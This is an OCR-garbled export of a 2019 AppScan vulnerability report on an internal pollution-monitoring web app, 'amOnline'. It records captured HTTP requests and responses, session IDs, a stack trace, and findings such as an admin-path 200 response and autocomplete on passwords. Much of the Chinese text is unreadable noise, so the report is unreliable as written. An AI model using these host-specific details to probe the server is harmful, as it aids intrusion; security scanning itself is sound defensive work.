Set-Cookie: JSESSIONID=64A2C6D2765D3B6FE363B2BCFCD907D4; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " S BAT B S 2 Y, 3 o R R

}
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fa i

Cvss 7+#t: 5.0

URL:

ik
AR -

http://172.20.7.168:8083/amonline/app/onlinemon/onlineaction!getpollutantswithpsid.page
onlineAction!getPollutantsWithPsID.page (Page)

A RE S FHRF PR EE I Web [N F 2 /77 3R U BV AT AL

Web il 5% % BB AR Fr e 5% 2 2 DAAN 22 42 1R 07 I B I

I e .- el = AR BUN ] 2 2R A

#Z5: cookie T MIEREEZS:  57A6A5AE8E37C43B017578F75A282932

Jiik ML ALE#ATES]:  posT Z: cer
ﬁﬁﬁi AkgljiﬁigiﬁiTTfé%U: /amOnline/app/onlinemon/onlineAction!getPollutantsWithPsID.page

ESh /amOnline/app/onlinemonadmin/onlineAction!getPollutantsWithPsID.page

HE®E:  AppScan RIS AT REAS R N IFE P Ak 3 . M RRA 9200 OK” o X R I R 2

TSRS N2

a7 SR A -

7] /&l

2019/6/24

--begin_highlight tag----end highlight tag--GET /amOnline/app/onlinemona--end mark_tag--
dmin/onlineAction!getPollutantsWithPsID.page?psID=510101055565 HTTP/1.1
X-Requested-With: XMLHttpRequest

Accept: application/json, text/javascript, */*; g=0.01

Referer: http://172.20.7.168:8083/amOnline/app/onlinemon/onlineAction!history.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

Cookie: hasshown=1

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 03:59:36 GMT

Set-Cookie: JSESSIONID=9AFC021927648D86F4807266101E642A; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth failed",
"msg": " BERA SR ECTH, HE SR

}

11 [/ 12
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Cvss 7+#t: 5.0

URL:

ik
AR -

http://172.20.7.168:8083/amonline/app/monitorspot/spotaction!findacceptinfos.page
spotAction!findAcceptinfos.page (Page)

A RE S FHRF PR EE I Web [N F 2 /77 3R U BV AT AL

Web il 5% % BB AR Fr e 5% 2 2 DAAN 22 42 1R 07 I B I

I e .- el = AR BUN ] 2 2R A

#Z5: cookie T MIEREEZS:  57A6A5AE8E37C43B017578F75A282932

T DUV ESATISE]: post &:  emr

jzﬁk LkELWiﬁiﬁiﬁifTié%U: search_acceptStatus=-99&search pageNo=l&search pageSize=20 ﬁi:
iﬁﬁ@ Eibkﬁ%ﬂé&%éi: application/x-www-form-urlencoded; charset=UTF-8

ﬁﬁﬁi AkgljiﬁigiﬁiTTfé%U: /amOnline/app/monitorspot/spotAction!findAcceptInfos.page ESh

/amOnline/app/monitorspotadmin/spotAction!findAcceptInfos.page

HERE:  AppScan RIS AT REAS R N IFE P Ak 3 . M RRA 9200 OK” o X R I R 2

TSRS N2

a7 SR A -

7] /&l

2019/6/24

--begin_highlight tag----end highlight tag--GET /amOnline/app/moni--end mark_ tag--
torspotadmin/spotAction! findAcceptInfos.page HTTP/1.1

Accept: application/json, text/javascript, */*; g=0.01

Cookie: hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/monitorspot/spotAction!list.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 03:59:36 GMT

Set-Cookie: JSESSIONID=BB27D777C28C01B1FC07B8221BBA20FB; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth failed",
"msg": " BEA SR ECTH, HE SR

}

12 [ 12
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B

CVSS 4%: 5.0

URL:
i
AR -
A -

http://172.20.7.168:8083/amonline/app/monitorspot/stopaction!findstopinfos.page
stopAction!findStoplInfos.page (Page)
I RESTHEH P RBURE I Web 82 /7 3R HUE BV AT AL
Web fii 55 #5208 PR A AR 55 42 LAAS 22 42 ) 77 AUE L
: T 2 BN F 2158 A

#5: cookie CUNIERREZ:  57a6A5AESE37C43B017578F 75282932

28 SR 2009-04-24

28 CHIERRE: 2019-06-24

Ttk ML T AL EHEATEH]:  post &: cEr

jEW Mu?{jﬁlﬁﬁfﬁﬂ?u pageNo=1l&pageSize=20&showPageInfo=true&showPagelList=false E:
iﬁﬁﬂ Eibkﬁ%ﬁé&%éi: application/x-www-form-urlencoded; charset=UTF-8

%ﬁ%ﬁ A&ELﬂiﬁiiiﬂE1f%§$U: /amOnline/app/monitorspot/stopAction!findStopInfos.page SR

/amOnline/app/monitorspotadmin/stopAction!findStopInfos.page

HEFE:  AppScan RIS AT REASE R HTFE Ak o o W RRA 9200 OK” . X s I BRI 2

THTER ISR
I R i -

2019/6/24

--begin highlight tag----end highlight tag--GET /amOnline/app/mo--end mark tag--
nitorspotadmin/stopAction!findStopInfos.page HTTP/1.1

Accept: application/json, text/javascript, */*; g=0.01

Cookie: hasshown=1

X-Requested-With: XMLHttpRequest

Referer: http://172.20.7.168:8083/amOnline/app/monitorspot/stopAction!list.page
Accept-Language: zh-cn

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 172.20.7.168:8083

Connection: Keep-Alive

Pragma: no-cache

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: application/json;charset=UTF-8

Content-Length: 142

Date: Mon, 24 Jun 2019 03:59:36 GMT

Set-Cookie: JSESSIONID=714B3233E562CDF4EA67FF6FAF6B38B7; Path=/amOnline; HttpOnly

{

"result": "failed",
"targetUrl": "/amOnline/app/AppLogin.page?loginError=auth_failed",
"msg": " IEBAT B i DY, i R s

}

H RS R E S T BN HTML BYE
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HahH 5 R0 %1 B EEH M HTML JEtE
T k-
CVSS #+#: 5.0

URL:

etk
R -

http://172.20.7.168:8083/amonline/app/applogin.page
AppLogin.page (Page)

I RERSEIT Web S FFE A AIENLHI

Web N2 ¥ g Bl ie B A 2 4

I 5 - F“autocomplete” & 14 1E i % & N“off”
=5

. AppScan KINED B A whi2A H B SIES Thig.
T 5 >R A .=

2019/6/24

GET /amOnline/app/AppLogin.page HTTP/1.1

Cookie: hasshown=1; JSESSIONID=AElE776BF33CD2F26A4429E80DCAFFAA

Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;q=0.8

Referer: http://172.20.7.168:8083/amOnline/app/j_spring security logout

Host: 172.20.7.168:8083

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Content-Type: text/html;charset=UTF-8

Transfer-Encoding: chunked

Vary: Accept-Encoding

Date: Mon, 24 Jun 2019 02:53:31 GMT

x-ua-compatible: IE=edge,chrome=1

cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
pragma: no-cache

expires: 0

<!DOCTYPE HTML>

<html style="height:100%">

<head>

<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">

<title>H miflHs A B A0 SIAEGE E R g (ki) </title>

<link rel="shortcut icon" href="/amOnline/static/images/favicon.ico"

mce href="/amOnline/static/images/favicon.ico" type="image/x-icon"/>

<link rel="icon" href="/amOnline/static/images/favicon.ico"/>

<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />

<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">

<meta http-equiv="Cache-Control" content="no-store, no-cache, must-revalidate, post-check=0, pre-
check=0" />

<meta http-equiv="Pragma" content="no-cache" />

<meta http-equiv="Expires" content="0" />

<link href="/amOnline/static/script/themes/default/ui.css" type="text/css" rel="stylesheet"/>
<link href="/amOnline/static/themes/default/login.css" type="text/css" rel="stylesheet"/>
<link href="/amOnline/static/script/themes/icon.css" type="text/css" rel="stylesheet"/>

<link href="/amOnline/static/themes/default/app.css" type="text/css" rel="stylesheet"/>
<script src="/amOnline/static/script/jquery2.js" type="text/javascript"></script>

<script src="/amOnline/static/script/jquery-migrate-1.2.1.js" type="text/javascript"></script>
<script src="/amOnline/static/script/jquery.ui.js" type="text/javascript"></script>

<script src="/amOnline/static/script/locale/ui-lang-zh CN.js" type="text/javascript"></script>
<script src="/amOnline/static/script/core.js" type="text/javascript"></script>

<script type="text/javascript">

var context = '/amOnline';

var authorizeType = '1';
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var enableCaptcha = 'false';
var loginTicket = '2c9487286b79d3e4016b8767223612f4";
</script>

<script src="/amOnline/static/script/common.js" type="text/javascript"></script>
<script src="/amOnline/static/script/AppLogin.js?v=20171023" type="text/javascript"></script>

<t-- FEHFR -
<script src="/amOnline/static/am/vendor/zxkf/kefu.js"></script>
<link href="/amOnline/static/am/vendor/zxkf/zxkf.css" rel="stylesheet" />

<t-— MR -->
<script src="/amOnline/static/script/jquery.qrcode.min.js" type="text/javascript"></script>
<script src="/amOnline/static/script/qr.code.login.js" type="text/javascript"></script>

<style type="text/css">
.floatTool {

width: 110px;

height: 138px;
position: absolute;
right: Opx;

top: 50%;

margin-top: -69px;
vertical-align: middle;
text-align: center;

.messager-text{
width:200px;
}
.gr_login_sm_fs{height:100px;width: 288px;margin:0px auto;text-align: center; }
.login_type_fs{float:left; width:33%;}
a.a-login-sm {text-decoration: none; color:#5b5b5b; cursor: pointer;font-size: 16px;}
a.a-login-sm:hover {color:#FF8800 ; text-decoration:none; }
</style>
</head>

<body class="login_bg">
<div style="position:absolute;width:100%;height:100%; text-align: center;">
<img src="/amOnline/static/themes/default/images/1l m_title_info.png" style="margin-
top:270px;"/>
</div>

<!--fEZ%MBegin-->
<div id="floatTools" class="rides-cs">
<div class="floatL">

<a style="display: block" id="aFloatTools_Show" class="btnOpen" title=" BHEIELE
sl onClick="javascript:$('#divFloatToolsView') .animate ({width: 'show', opacity: 'show'},
'normal', function(){ $('#divFloatToolsView').show();kf setCookie ('RightFloatShown', 0, '', '/',

'www.shopnc.net') ;

}):$('#aFloatTools_Show') .attr('style', 'display:none');$ ('#aFloatTools_Hide').attr('style', 'disp.

href="javascript:void(0) ;">

feFt</a>
<a style="display: none" id="aFloatTools Hide" class="btnCtn" title=" LR R
onClick="javascript:$('#divFloatToolsView') .animate ({width: 'hide', opacity: 'hide'},
'normal', function(){ $('#divFloatToolsView').hide();kf_ setCookie ('RightFloatShown', 1, '', '/',

'www.shopnc.net"') ;

});$('#aFloatTools_Show') .attr('style', 'display:block');$('#aFloatTools Hide').attr('style', 'dis.

href="javascript:void (0) ;">
WEi</a> </div>
<div id="divFloatToolsView" class="floatR" style="display: none">
<p><img src="/amOnline/static/8.jpg" width="100px" height="100px"/></p>
<p><span style="text-align: left; color: rgb(255, 255, 255); font-size:
18px; font-weight: bold; "> ARZHF<br><span style="font-size: 14px;">7*10/M¥</span><br><span
style="font-size: 14px;">(08:30-18:30)</span></span></p>
</div>
</div>

<form name
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HTML JER RS Stk

g

:

Cvss 7+#t: 0.0

URL: http://172.20.7.168:8083/amonline/app/appmain.page
k- <dd><a href="#" onclick="loadlframe('app/viewmonitor/monitorDataAction!list.page')">{5 & ik </a>
</dd> (Page)
JR: - AR WA % Web MR T IMBURIS S, WA 4. %15, HLE8 2 f/EUR A B
JEA - FEFF RAE Web TUH B TGS
170 7 - B2 HTML R O BURE 2
ZE S
e AppScan KL T B EBOABURE BN HTML 8.
TR 75 SR A oz -

2019/6/24

GET /amOnline/app/AppMain.page HTTP/1.1

Cookie: hasshown=1; JSESSIONID=AElE776BF33CD2F26A4429E80DCAFFAA

Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;g=0.8

Referer: http://172.20.7.168:8083/amOnline/app/AppMain.page

Host: 172.20.7.168:8083

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding

Date: Mon, 24 Jun 2019 02:53:27 GMT
x-ua-compatible: IE=edge,chrome=1

<!DOCTYPE html>
<html lang="zh-cn">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<title>H piflFig iy B2 4% SREMEIR E RS (ki) </title>
<link rel="stylesheet" href="/amOnline/static/layui/css/layui.css" media="all">
<style>
.layui-body{
left:0px;
}
.layui-side({
width:0px;
}
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.layui-layout-admin .layui-body{
bottom: 0px;
}
</style>

</head>
<body class="layui-layout-body">
<div class="layui-layout layui-layout-admin">
<div class="layui-header layui-bg-blue">
<div class="layui-logo">E fiHki5 sily H zh Wits 5EMEEE E R4 (ki) </div>
<l-- KX (ATfA layui BF FAKRESAD  -->
<ul class="layui-nav layui-layout-right layui-bg-blue">
<li class="layui-nav-item layui-this"><a href="#"
onclick="loadIframe ('app/psinfo/psInfo!view.page') ">EA(E B4 </a></1i>
<li class="layui-nav-item" id="historyLine"><a href="#"
onclick="loadIframe ('app/onlinemon/onlineAction'history.page') ">H#EiE</a></1i>

<1li class="layui-nav-item">
<a href="javascript:; ">HIZimEH</a>
<dl class="layui-nav-child" id="xcdzhgl">
<dd><a href="#" onclick="loadIframe ('app/monitorspot/spotAction!list.page')">
eI </a></dd>
<dd><a href="#"
onclick="loadIframe ('app/monitorspot/stopAction!list.page')">{FEEH</a></dd>
<!--<dd><a href="#"
onclick="loadIframe ('app/viewmonitor/monitorDataAction!list.page')">f5 2 f</a></dd> -->
</dl>
</1i>
<li class="layui-nav-item" id='reviseLi'><a href="#"
onclick="loadIframe ('app/revisedmanage/revisedAction!list.page")">¥¥Etric</a></1i>
<!-- <1i class="layui-nav-item" ><a href="#"
onclick="loadIframe ('app/revisedmanage/revisedAction!list.page")">¥¥Etric</a></1i>
<li class="layui-nav-item" ><a href="#"
onclick="loadIframe ('http://m.envsc.cn/WXIndexPSForQYD.aspx?
key=wPLFgACAKGA&pscode=140000000223&... —-->
<li class="layui-nav-item">
<a href="javascript:;">
<img src="/amOnline/static/layui/images/ooopic_1509436490.png" class="layui-
nav-img">
BRI
</a>
<dl class="layui-nav-child">
<dd><a href="#" onclick="loadIframe ('app/account/accountAction!list.page')">

P EH</a></dd>
<dd><a href="#" onclick="loadIframe ('app/loginfo/loginfoAction!list.page')">
Bl H E</a></dd>
<dd><a onclick="logoutSys ()" href="javascript:void(0);" >BH&R%i</a></dd>
</dl>
</1li>
</ul>
</div>

<div class="layui-body">

<iframe id="frame_ lgpblpww" src="/amOnline/app/psinfo/psInfo!view.page"
style="'width:100%; margin-right:-15px!important;margin-bottom:-14px!important;
overflow-y:scroll; overflow-x:hidden;' > </iframe>
</div>

</div>
<script src="/amOnline/static/layui/layui.js" charset="utf-8"></script>
<o VER: WMRAREIEESHI A NRGEIAM, FiR)sBRAE T ESURIRAILE —->

<script>

layui.use('element', function() {
var element = layui.element; //Sfifflhover®UR. T4 EMETRE, TEMKBlelement Bl

/ /M S
element.on('nav(demo) ', function(elem) {
layer.msg(elem.text ());
1)
})i
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function changeFrameHeight () {
var ifm= document.getElementById("frame lgpblpww");
ifm.height=document.documentElement.clientHeight-64;
}
changeFrameHeight ()
//changeFrameHeight () ;
window.onresize=function () {
changeFrameHeight () ;

}

/BB RG

function logoutSys(ifrSrc) {
window.location.href='/amOnline/app/j_spring security logout';

}

function loadIframe (ifrSrc) {
var ifm= document.getElementById("frame lgpblpww");
ifm.src="'/amOnline/'+ifrSrc;

}

var regionCode='510101000";

if (regionCode!=""'&&regionCode.substr (0, 2)=='64") {
document.getElementById ("xcdzhgl") .innerHTML = "";
var html="";

html+="<dd><a href=\"#\" onclick=\"loadIframe ('app/monitorspot/spotAction!list.page')\">¥

#Wll</a></dd>";

html+="<dd><a href=\"#\" onclick=\"loadIframe ('app/viewmo

b 2 / 2

HTML JERRUR(S Sl
Rl

CVSS 4%: 0.0

URL: http://172.20.7.168:8083/amonline/app/appmain.page
s <li class="layui-nav-item" ><a href="#"
onclick="loadlframe('app/revisedmanage/revisedAction!list.pa... (Page)
ARG - A RESWEEA K Web AR FFVBURME S, WA 44 B, L& A/ s sug oA 8
B P2 A Web DU BB R HI(E B
5] 5 = f2s HTML vER: b B U S B
Z5:
#EHE:  AppScan K T EELUNBURE B HTML 8.
TR 5 SR A % =

GET /amOnline/app/AppMain.page HTTP/1.1

Cookie: hasshown=1; JSESSIONID=AElE776BF33CD2F26A4429E80DCAFFAA
Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;q=0.8
Referer: http://172.20.7.168:8083/amOnline/app/AppMain.page

Host: 172.20.7.168:8083

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

2019/6/24
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HTTP/1.1 200 OK

Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding

Date: Mon, 24 Jun 2019 02:53:27 GMT
x-ua-compatible: IE=edge,chrome=1

<!DOCTYPE html>

<html lang="zh-cn">

<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">

<title>H sUflEV5 Bah B2 4R SHAEURE RS (ki) </title>
<link rel="stylesheet" href="/amOnline/static/layui/css/layui.css" media="all">
<style>
.layui-body{
left:0px;
}
.layui-side({
width:0px;
}
.layui-layout-admin .layui-body({
bottom: 0px;
}
</style>

</head>
<body class="layui-layout-body">
<div class="layui-layout layui-layout-admin">
<div class="layui-header layui-bg-blue">
<div class="layui-logo">H fmHi5 Hi7 [ zh sz 5REAEIE FE RS (ki) </div>
<t-- KX (AIEE layui OA FIKESHD  -->
<ul class="layui-nav layui-layout-right layui-bg-blue">
<1li class="layui-nav-item layui-this"><a href="#"
onclick="loadIframe ('app/psinfo/psInfo!view.page') ">EEA(FE R4 </a></1i>
<li class="layui-nav-item" id="historyLine"><a href="#"
onclick="loadIframe ('app/onlinemon/onlineAction'history.page") ">¥#EiiE</a></1i>

<1li class="layui-nav-item">
<a href="javascript:; ">HlIZimE#</a>
<dl class="layui-nav-child" id="xcdzhgl">

<dd><a href="#" onclick="loadIframe ('app/monitorspot/spotAction!list.page')">

BER</a></dd>
<dd><a href="#"
onclick="loadIframe ('app/monitorspot/stopAction!list.page')">{FEEH</a></dd>
<!--<dd><a href="#"
onclick="loadIframe ('app/viewmonitor/monitorDataAction!list.page"')">f5EHik</a></dd>
</d1>
</1li>
<1li class="layui-nav-item" id='reviseLi'><a href="#"
onclick="loadIframe ('app/revisedmanage/revisedAction!list.page") ">¥#Etric</a></1i>
<!-- <1i class="layui-nav-item" ><a href="#"
onclick="loadIframe ('app/revisedmanage/revisedAction!list.page")">¥¥Etric</a></1i>
<1li class="layui-nav-item" ><a href="#"
onclick="loadIframe ('http://m.envsc.cn/WXIndexPSForQYD.aspx?
key=wPLFgACAKGA&pscode=140000000223&. .. -->
<1li class="layui-nav-item">
<a href="javascript:;">

<img src="/amOnline/static/layui/images/ooopic_1509436490.png" class="layui-

nav-img">
TR
</a>
<dl class="layui-nav-child">

<dd><a href="#" onclick="loadIframe ('app/account/accountAction!list.page')">

K< /a></dd>
<dd><a href="#" onclick="loadIframe ('app/loginfo/loginfoAction!list.page')">
BEH & </a></dd>
<dd><a onclick="logoutSys ()" href="javascript:void(0);" >iBH R%i</a></dd>
</dl>
</1i>
</ul>
</div>

<div class="layui-body">

-—>
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<iframe id="frame_ lgpblpww" src="/amOnline/app/psinfo/psInfo!view.page"
style="'width:100%; margin-right:-15px!important;margin-bottom:-14px!important;
overflow-y:scroll; overflow-x:hidden;' > </iframe>
</div>

</div>
<script src="/amOnline/static/layui/layui.js" charset="utf-8"></script>
<o VER: WMRAREIEES ST NRBEAM, FiR)sERAE T ESURIRAILE —->

<script>

layui.use('element', function() {
var element = layui.element; //Sfifflhover®UR. T4 ERETRE, TEMKBlelement Bl

/ /M S R
element.on ('nav(demo) ', function(elem) {
layer.msg(elem.text ());
1)
b

function changeFrameHeight () {
var ifm= document.getElementById("frame_lgpblpww");
ifm.height=document.documentElement.clientHeight-64;
}
changeFrameHeight (
//changeFrameHeight () ;
window.onresize=function () {
changeFrameHeight () ;

}

/ /B RG

function logoutSys (ifrSrc) {
window.location.href='/amOnline/app/j spring security logout';

}

function loadIframe (ifrSrc) {
var ifm= document.getElementById("frame_ lgpblpww");
ifm.src="/amOnline/'+ifrSrc;

}

var regionCode='510101000";

if (regionCode!=""'&&regionCode.substr (0, 2)=='64"){
document.getElementById ("xcdzhgl") .innerHTML = "";
var html="";

html+="<dd><a href=\"#\" onclick=\"loadIframe ('app/monitorspot/spotAction!list.page')\">%&
#¥l</a></da>";

html+="<dd><a href=\"#\" onclick=\"loadIframe ('app/viewmo

B 1/ 1
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R R e

Pt

Cvss 7+%t: 0.0

URL: http://172.20.7.168:8083/amonline/app/j_spring_security _check
Sz j_password (Parameter)

ARG - A RE PR BUR ARG B

J5 - RN RSHEPTE LD F A E
ARPATIAE AR LR P A6\ 15 YT 2080 28 L DL e

170 7 L - RAESHE R B AL THEREMRI A . A2 SR B R

Z5: B8 NUITAHERTES]: 5 _passwora B: | __orIG vaL .

HERE: SRR DU RIE B, 2o T e o B BURME B RE SOIRES
i R A -

POST /amOnline/app/j_spring_ security check HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Cookie: hasshown=1; JSESSIONID=1025D3126A59156CC2D6FC1CABC30E63

Accept-Language: en-US

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*;g=0.8

Referer: http://172.20.7.168:8083/amOnline/app/AppLogin.page

Host: 172.20.7.168:8083

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Content-Length: 124

j_logintype=front user&j 1t=2c9487286b79d3e4016b8767113el2ebs&j slt=&loginType=front&j username=1.

HTTP/1.1 500 Internal Server Error

Server: Apache-Coyote/1.1

Content-Type: text/html;charset=utf-8

Content-Language: en

Content-Length: 6192

Vary: Accept-Encoding

Date: Mon, 24 Jun 2019 02:56:44 GMT

Connection: close

Set-Cookie: JSESSIONID=891838FE797C1182D18C6B9DD26DCDAC; Path=/amOnline; HttpOnly

<!doctype html><html lang="en"><head><title>HTTP Status 500 - Internal Server Error</title><style
type="text/css">Hl {font-family:Tahoma,Arial,sans-serif;color:white;background-

color:#525D76; font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-
color:#525D76; font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-
color:#525D76; font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-
color:white;} B {font-family:Tahoma,Arial, sans-serif;color:white;background-color:#525D76;} P
{font-family:Tahoma,Arial, sans-serif;background:white;color:black; font-size:12px;}A {color
black; }A.name {color : black;}.line {height: lpx; background-color: #525D76; border: none;}
</style></head><body><h1>HTTP Status 500 - Internal Server Error</hl><hr class="line" /><p>
<b>Type</b> Exception Report</p><p><b>Description</b> The server encountered an unexpected
condition that prevented it from fulfilling the request.</p><p><b>Exception</b></p>
<pre>java.lang.NullPointerException
com.jointsky.jointframe.security.filter.ConfigableUserAuthenticationProcessingFilter.logi

nUserP...
com.jointsky.jointframe.security.filter.ConfigableUserAuthenticationProcessingFilter.atte
mptAut. ..
org.springframework.security.web.authentication.AbstractAuthenticationProcessingFilter.do
FALE@Es o o
org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter (FilterChain
Proxy....
org.springframework.security.web.context.SecurityContextPersistenceFilter.doFilter (Securi
tyCont...
org.springframework.security.web.FilterChainProxyS$VirtualFilterChain.doFilter (FilterChain
Proxy....
com.jointsky.jointframe.security.filter.ConcurrentSessionFilter.doFilter (ConcurrentSessio
nFilte...

org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter (FilterChain
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Proxy....

com.jointsky.jointframe.security.filter .MDCFilter.doFilter (MDCFilter.java:60

org.springframework
Proxy....

.security.web.FilterChainProxy$VirtualFilterChain.doFilter (FilterChain

com.jointsky.jointframe.security.filter.CharacterEncodingFilter.doFilter (CharacterEncodin

gFilte...
org.springframework
Proxy....

.security.web.FilterChainProxy$VirtualFilterChain.doFilter (FilterChain

com.jointsky.jointframe.security.filter.OsgiOpenSessionInViewFilter.doFilterInternal (Osgi

OpensSe...
org.springframework
7)

org.springframework.

Proxy....

org.springframework.

Jjavar...

org.springframework.

7)

org.springframework.

Proxy....

org.springframework.

192)

org.springframework.

.web.filter.OncePerRequestFilter.doFilter (OncePerRequestFilter.java:10
security.web.FilterChainProxy$VirtualFilterChain.doFilter (FilterChain
web.filter.RequestContextFilter.doFilterInternal (RequestContextFilter
web.filter.OncePerRequestFilter.doFilter (OncePerRequestFilter.java:10
security.web.FilterChainProxy$VirtualFilterChain.doFilter (FilterChain
security.web.FilterChainProxy.doFilterInternal (FilterChainProxy.java:

security.web.FilterChainProxy.doFilter (FilterChainProxy.java:160

sun.reflect.GeneratedMethodAccessorl85. invoke (Unknown Source)
sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43)
java.lang.reflect.Method.invoke (Method.java:606)

org.springframework
)

org.springframework
rvicelI...

org.springframework.

icelnv...

org.springframework.

cation...

org.springframework.

roduct...

org.springframework.

uction...

org.springframework.

cation...

org.springframework.

ged(Se...

org.springframework.

CCLInt...

org.springframework.

.aop.support.AopUtils.invokeJoinpointUsingReflection (RopUtils.java:317
.0sgi.service.importer.support.internal.aop.ServiceInvoker.doInvoke (Se
osgi.service.importer.support.internal.aop.ServiceInvoker.invoke (Serv
aop.framework.ReflectiveMethodInvocation.proceed (ReflectiveMethodInvo
aop.support.DelegatingIntroductionInterceptor.doProceed (DelegatingInt
aop.support.DelegatingIntroductionInterceptor.invoke (DelegatingIntrod
aop. framework.ReflectiveMethodInvocation.proceed (ReflectiveMethodInvo
osgi.service.util.internal.aop.ServiceTCCLInterceptor.invokeUnprivile
osgi.service.util.internal.aop.ServiceTCCLInterceptor.invoke (ServiceT

aop.framework.Reflect
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[1] FEHE: PEBIAHESE

ﬁﬂ%ﬁﬁ%ﬁ%ﬁijﬂﬂ@ééﬁ%%@ﬁﬁﬁ@%, BRI B 25 ) B o I 55 R R A 0

[2] &M% 4k

WA, B B B SR AR (8 1 2 B A AL . X SRRV AR B SR A G T L SRS ATERAE, T
ANTRARIG T IR A A e (B — AL SRR T

[3] SkMg: PRI 1L

A5 P 58 e AT 55 P s (K e AR BUORIS AT AR

[4] SRME . i gAY

ﬁuiﬁﬁﬁhﬁﬁﬂ‘]‘%%?%%‘%ﬁﬁ%isiJ?é?éEﬁiEl’\Jﬁiﬁl?ﬁ‘%Eiﬁér\ TR S EOERH N 515 IR X LS P AR TR IR T
P Lo

[5] SRS i NS EIRE I A i N2 BRI o e D R NS UE SN RS ST L I AT B SN 1 1 44

B, SRRSO AR ST AN, R RO IS VR N R . AN EESE A OB T AR R i AU IR R
PR . (H, R RN E MG, B A e MR A A A% AN IERf, LB 2R HAN AR 4

.Net
PLR 2 RY Web B HFEF &8 SQL v AN i A ml 47 v

[1] ﬁﬁﬁgﬁﬁﬁfi MAHZI SR SQL Hil 7478 . S Hfkidsy SQL Server fFAfIL RN, AP A A
SIS FEFFF .

PAUR 2 anfal e ASP.NET 45 F A7 it i A% 14 fai s 9] -
' Visual Basic example
Dim DS As DataSet

Dim MyConnection As SqglConnection
Dim MyCommand As SqglDataAdapter
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Dim SelectCommand As String = "select * from users where username = @username"

MyCommand.SelectCommand.Parameters.Add (New SglParameter ("@username", SglDbType.NVarChar, 20))
MyCommand.SelectCommand.Parameters ("@username") .Value = UserNameField.Value

// C# example

String selectCmd = "select * from Authors where state = Qusername";
SglConnection myConnection = new SglConnection ("server=...");
SglDataAdapter myCommand = new SqglDataAdapter (selectCmd, myConnection) ;

myCommand.SelectCommand.Parameters.Add (new SglParameter ("@Qusername", SglDbType.NVarChar, 20));
myCommand.SelectCommand.Parameters["Qusername"] .Value = UserNameField.Value;

[2] ] LA ISR, A AN IR AN E]“Web R T . 30 IEE AR A0S T FTE 5 W 2SR bR 36 1R 1 2 R HL
#l — i, MR H R G E S, SIIEEREGAEEN — ULEHHMT e g S RAER k. thah, IiEfs et
T aett s e fil I B P BoREF R G B IUEsAE T 5L Web 52" DU 28 SO A B AT Ml d R, v
3% HTML F1 Web 4% #8244
NT WA PN E R, ST M A LA A — G R
iaj\i‘E;/I]?angeValidator”: WERF%H () REAREM L FRRZE., SR ERN T, FR7R/MH
b. “RegularExpressionValidator”: A # %% H & %55 BN RIE 0 B ARITHD . R B30 iE (IS ek &
AR R RS, Wit SRR S0, Bl . iS50, WS IS R F A
BEERHEI: BB SIIER P A SCE DA B R R BT S W B RRE, T ARREE. BRE AN
RS2, EPATHE— SR PR e B EaT, WA iR
B PR TR P N (R R
1. M A RIRES
AT, MR TTR K IsValid B 2. 1ZE S 0T T E ik IsValid BHEEIL S (2% AND) .
ks e — AN IR AR BN TR, A TR R 2k [H] false .
2. PRI EOIR S -
ﬁﬁﬁﬁ’\]“%iﬁ%ﬁ”%%*?@%, AT RAEEAEI . R, BT DS AR IEE AR IsValid &

J2EE
TG A

